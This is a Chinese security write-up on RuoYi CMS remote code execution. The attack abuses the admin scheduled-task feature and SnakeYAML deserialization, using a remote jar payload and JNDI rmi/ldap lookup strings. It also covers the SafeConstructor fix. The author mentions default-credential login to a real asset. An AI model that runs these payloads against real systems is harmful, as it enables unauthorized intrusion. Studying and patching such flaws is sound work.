前言
一次失败的 getshell。
本来一处资产通过弱口令 admin、admin123进入后台,但是没能发现后台是什么 cms 或者框架写的,尝试了一些上传点没成功后就继续测其他资产了,好在有高人指点,发现后台有一处可以写入定时任务,上网搜了相关文章,才发现这个后台是若依 cms ,有历史漏洞就是通过这处定时任务能够 rce。遗憾的是这个后台是个高版本的若依搭建的,最终没能成功利用,不过顺便写了这篇笔记。
影响版本
RuoYi <= v4.6.2
环境搭建
若依的项目下载地址在这里:
https://github.com/yangzongzhuan/RuoYi/releases
这里我在本地搭建的环境为版本v4.6.1的,在影响版本范围内。
需要下载redis服务,在本地6379开启redis服务。具体搭建细节可以参考这个博客:RuoYi(若依开源框架)-前后台分离版-idea搭建运行
搭建完成后,运行项目,即可通过浏览器访问对应端口,得到如下后台登录页面:
默认用户名和密码输入admin:admin123,即可登录后台
漏洞利用
漏洞产生处是系统监控模块中的定时任务,在其中调用目标字符串中填入恶意的payload,即可利用计划任务进行rce
关于payload,有大佬已经在github上写好了,地址如下:artsploit/yaml-payload
下载下来后,需要将 AwesomeScriptEngineFactory.java 文件中的命令执行语句改成自己要执行的命令,如下图:
注:这里我利用的 dnslog进行验证,使用的是CEYE - Monitor service for security testing这个 dnslog平台。
然后在src所在目录下打开cmd运行如下语句,将该项目编译成jar
最后得到yaml-payload.jar文件,将其丢到自己的vps上,然后在vps上开启http服务,这里我利用python开启个简易的文件下载http服务
然后在刚刚登陆的若依cms后台,添加定时任务,这里构造的调用目标字符串如下:
其中cron表达式 0/10 * * * * ?
意思是每10秒执行一次调用目标字符串的任务,这里就不详细说明了,留到下一篇笔记记录学习。
这里我写入后,点击任务状态下的那个按钮,启动定时任务,但是发现最后一直没执行成功,点开上面日志后才发现运行失败了(下图),后来猜测是我搭建平台的问题,想到windows平台不存在类似cron表达式的计划任务形式,索性我就直接改成macos平台测试了,和linux差不多的计划任务方式。
换成 mac后(mac 系统和 linux 系统相近,也有计划任务),搭建相同的环境,再次利用,终于看到回显结果(我 mac 电脑主机名是 jackielee):
漏洞产生原因
若依后台管理系统使用了snakeyaml 的jar包,snakeyaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。而若依后台管理系统可以通过定时任务功能构造payload远程调用jar包,从而导致 RCE。
当然还可以尝试下面两种打法:
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')
漏洞修复
首先是修复yaml 反序列化问题,加入new SafeConstructor()
类进行过滤
public class main {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://ip:1234/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor()); //加入new SafeConstructor()类进行过滤
yaml.load(context);
}
}
再次进行反序列化会抛异常。
再者就是拒绝不安全的反序列化操作,反序列化数据前需要经过校验或拒绝反序列化数据可控。
高版本的若依 cms还屏蔽了 http、rmi、ldap 这些协议,也难怪我没能成功 getshell那个若依后台。